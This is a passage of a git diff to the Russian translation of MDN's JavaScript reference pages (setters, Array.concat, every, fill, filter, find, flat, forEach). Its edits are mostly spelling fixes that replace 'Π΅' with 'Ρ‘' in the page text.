+<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹-Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹</a>Β Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ синтаксис. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠ°Β (*) Π² ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΌ синтаксисС долТна Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Β ΠΈΠΌΠ΅Π½Π΅ΠΌ свойства Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°. Π’ΠΎ Π΅ΡΡ‚ΡŒ,Β <code>* g(){}</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π°Β <code>g *(){}</code> Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚.</p>
<pre class="brush: js;highlight[12]">// Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ свойство с ΠΈΠΌΠ΅Π½Π΅ΠΌ (pre-ES6)
var obj2 = {
diff --git a/files/ru/web/javascript/reference/functions/set/index.html b/files/ru/web/javascript/reference/functions/set/index.html
index 97b89211c1..438bd10539 100644
--- a/files/ru/web/javascript/reference/functions/set/index.html
+++ b/files/ru/web/javascript/reference/functions/set/index.html
@@ -41,13 +41,13 @@ translation_of: Web/JavaScript/Reference/Functions/set
</ul>
</div>
-<p>Π‘Π΅Ρ‚Ρ‚Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌΒ <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p>
+<p>Π‘Π΅Ρ‚Ρ‚Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌΒ <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a>.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_сСттСра_ΠΏΡ€ΠΈ_ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ_Π½ΠΎΠ²Ρ‹Ρ…_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ сСттСра при ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π½ΠΎΠ²Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</h3>
-<p>Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΒ ΠΏΡΠ΅Π²Π΄ΠΎ-ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β <code>current</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>o</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>log</code>:</p>
+<p>Π­Ρ‚ΠΎ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒΒ ΠΏΡΠ΅Π²Π΄ΠΎ-ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β <code>current</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>o</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Π΄Π°Ρ‘Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>log</code>:</p>
<pre class="brush: js">var o = {
set current (str) {
@@ -57,7 +57,7 @@ translation_of: Web/JavaScript/Reference/Functions/set
}
</pre>
-<p><code>ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ current</code> Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΈ Π»ΡŽΠ±Ρ‹Π΅ попытки доступа ΠΊ Π½Π΅ΠΌΡƒ Π²Π΅Ρ€Π½ΡƒΡ‚Β <code>undefined</code>.</p>
+<p><code>ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ current</code> Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΈ Π»ΡŽΠ±Ρ‹Π΅ попытки доступа ΠΊ Π½Π΅ΠΌΡƒ Π²Π΅Ρ€Π½ΡƒΡ‚Β <code>undefined</code>.</p>
<h3 id="Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅_сСттСра_ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ_delete">Π£Π΄Π°Π»Π΅Π½ΠΈΠ΅ сСттСра ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌΒ <code>delete</code></h3>
diff --git a/files/ru/web/javascript/reference/global_objects/array/concat/index.html b/files/ru/web/javascript/reference/global_objects/array/concat/index.html
index b3c2fa6eea..5d2bff7df7 100644
--- a/files/ru/web/javascript/reference/global_objects/array/concat/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/concat/index.html
@@ -119,7 +119,7 @@ console.log(alphaNumeric); // Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚: ['a', 'b', 'c', 1, 2, 3]
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.concat")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/every/index.html b/files/ru/web/javascript/reference/global_objects/array/every/index.html
index 830be8882f..dc64e46dc1 100644
--- a/files/ru/web/javascript/reference/global_objects/array/every/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/every/index.html
@@ -50,7 +50,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/every
<h2 id="Description" name="Description">ОписаниС</h2>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>every()</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>callback</code> ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта, ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π² массивС Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ <code>callback</code> Π²Π΅Ρ€Π½Π΅Ρ‚ <em>Π»ΠΎΠΆΠ½ΠΎΠ΅</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, становящССся Ρ€Π°Π²Π½Ρ‹ΠΌ <code>false</code> ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠΈ Π΅Π³ΠΎ ΠΊ Ρ‚ΠΈΠΏΡƒ {{jsxref("Boolean")}}). Если Ρ‚Π°ΠΊΠΎΠΉ элСмСнт Π½Π°ΠΉΠ΄Π΅Π½, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>every()</code> Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, Ссли <code>callback</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>true</code> для всСх элСмСнтов массива, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>every()</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>true</code>. Ѐункция <code>callback</code> вызываСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для индСксов массива, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… присвоСнныС значСния; ΠΎΠ½Π° Π½Π΅ вызываСтся для индСксов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ΠΈΠ»ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ значСния Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π»ΠΈΡΡŒ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>every()</code> Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>callback</code> ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта, ΠΏΡ€ΠΈΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π² массивС Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π½Π΅ Π½Π°ΠΉΠ΄Ρ‘Ρ‚ Ρ‚Π°ΠΊΠΎΠΉ, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ <code>callback</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <em>Π»ΠΎΠΆΠ½ΠΎΠ΅</em> Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, становящССся Ρ€Π°Π²Π½Ρ‹ΠΌ <code>false</code> ΠΏΡ€ΠΈ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ΠΈΠΈ Π΅Π³ΠΎ ΠΊ Ρ‚ΠΈΠΏΡƒ {{jsxref("Boolean")}}). Если Ρ‚Π°ΠΊΠΎΠΉ элСмСнт Π½Π°ΠΉΠ΄Π΅Π½, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>every()</code> Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>false</code>. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС, Ссли <code>callback</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>true</code> для всСх элСмСнтов массива, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>every()</code> Π²Π΅Ρ€Π½Ρ‘Ρ‚ <code>true</code>. Ѐункция <code>callback</code> вызываСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для индСксов массива, ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… присвоСнныС значСния; ΠΎΠ½Π° Π½Π΅ вызываСтся для индСксов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Ρ‹ ΠΈΠ»ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ значСния Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ ΠΏΡ€ΠΈΡΠ²Π°ΠΈΠ²Π°Π»ΠΈΡΡŒ.</p>
<p>Ѐункция <code>callback</code> вызываСтся с трСмя Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ: Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ элСмСнта, индСксом элСмСнта ΠΈ массивом, ΠΏΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ осущСствляСтся ΠΏΡ€ΠΎΡ…ΠΎΠ΄.</p>
diff --git a/files/ru/web/javascript/reference/global_objects/array/fill/index.html b/files/ru/web/javascript/reference/global_objects/array/fill/index.html
index 1e3fb187da..3bb59fb99d 100644
--- a/files/ru/web/javascript/reference/global_objects/array/fill/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/fill/index.html
@@ -146,7 +146,7 @@ arr[0].hi = "hi"; // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }]</code></pre>
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.fill")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/filter/index.html b/files/ru/web/javascript/reference/global_objects/array/filter/index.html
index da6a9296ae..2eb7f46f9f 100644
--- a/files/ru/web/javascript/reference/global_objects/array/filter/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/filter/index.html
@@ -287,7 +287,7 @@ console.log(deleteWords)
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("javascript.builtins.Array.filter")}}</p>
</div>
diff --git a/files/ru/web/javascript/reference/global_objects/array/find/index.html b/files/ru/web/javascript/reference/global_objects/array/find/index.html
index ceef78d17d..46c0b0e693 100644
--- a/files/ru/web/javascript/reference/global_objects/array/find/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/find/index.html
@@ -60,7 +60,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/find
<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code>find</code> Π½Π΅ измСняСт массив, для ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½.</p>
-<p>Π”ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ элСмСнтов, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>find</code>, устанавливаСтся Π΄ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>callback</code>. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² массив послС Π½Π°Ρ‡Π°Π»Π° выполнСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>find</code>, Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ посСщСны Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>callback</code>. Если ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅, нСпосСщСниС элСмСнты массива ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>callback</code>, ΠΈΡ… значСния, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π±ΡƒΠ΄ΡƒΡ‚ значСниями Π½Π° Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΊΠΎΠ³Π΄Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>find</code> посСтит ΠΈΡ…; ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ элСмСнты всС Π΅Ρ‰Π΅ Π±ΡƒΠ΄ΡƒΡ‚ посСщСны.Β </p>
+<p>Π”ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ элСмСнтов, ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌΡ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>find</code>, устанавливаСтся Π΄ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>callback</code>. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π² массив послС Π½Π°Ρ‡Π°Π»Π° выполнСния ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>find</code>, Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ посСщСны Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>callback</code>. Если ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅, нСпосСщСниС элСмСнты массива ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ <code>callback</code>, ΠΈΡ… значСния, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π±ΡƒΠ΄ΡƒΡ‚ значСниями Π½Π° Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΊΠΎΠ³Π΄Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>find</code> посСтит ΠΈΡ…; ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ элСмСнты всС Π΅Ρ‰Ρ‘ Π±ΡƒΠ΄ΡƒΡ‚ посСщСны.Β </p>
<h2 id="Examples" name="Examples">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/array/flat/index.html b/files/ru/web/javascript/reference/global_objects/array/flat/index.html
index 236fa402fa..9fbccf3f75 100644
--- a/files/ru/web/javascript/reference/global_objects/array/flat/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/flat/index.html
@@ -31,7 +31,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/flat
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Новый массив с ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹ΠΌΠΈ Π² Π½Π΅Π³ΠΎ подмассивами.</p>
+<p>Новый массив с ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π² Π½Π΅Π³ΠΎ подмассивами.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
@@ -76,7 +76,7 @@ arr1.reduce((acc, val) =&gt; acc.concat(val), []);// [1, 2, 3, 4]
const flatSingle = arr =&gt; [].concat(...arr);
</pre>
-<pre class="brush: js notranslate">// Для развСртывания ΠΌΠ½ΠΎΠ³ΠΎΠΌΠ΅Ρ€Π½Ρ‹Ρ… массивов ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ€Π΅ΠΊΡƒΡ€ΡΠΈΡŽ, reduce ΠΈ concat
+<pre class="brush: js notranslate">// Для развёртывания ΠΌΠ½ΠΎΠ³ΠΎΠΌΠ΅Ρ€Π½Ρ‹Ρ… массивов ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ€Π΅ΠΊΡƒΡ€ΡΠΈΡŽ, reduce ΠΈ concat
const arr = [1, 2, [3, 4, [5, 6]]];
function flatDeep(arr, d = 1) {
diff --git a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
index 9a349176f9..35bf8b9a41 100644
--- a/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
+++ b/files/ru/web/javascript/reference/global_objects/array/foreach/index.html
@@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach
<dl>
<dt><code>callback</code></dt>
- <dd>Ѐункция, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта массива. Она ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎ Ρ‚Ρ€Π΅Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²:</dd>
+ <dd>Ѐункция, которая Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½Π° для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ элСмСнта массива. Она ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎ Ρ‚Ρ€Ρ‘Ρ… Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ²:</dd>
<dd>
<dl>
<dt><code>currentValue</code></dt>
@@ -253,7 +253,7 @@ words.forEach((word) =&gt; {
<h3 id="Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅_ΡƒΠΏΠ»ΠΎΡ‰Π΅Π½ΠΈΠ΅_массива">Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ (ΡƒΠΏΠ»ΠΎΡ‰Π΅Π½ΠΈΠ΅) массива</h3>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для Ρ†Π΅Π»Π΅ΠΉ обучСния. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹Ρ€Π°Π²Π½ΡΡ‚ΡŒ массив с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ встроСнных ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{jsxref("Array.prototype.flat()")}}</p>
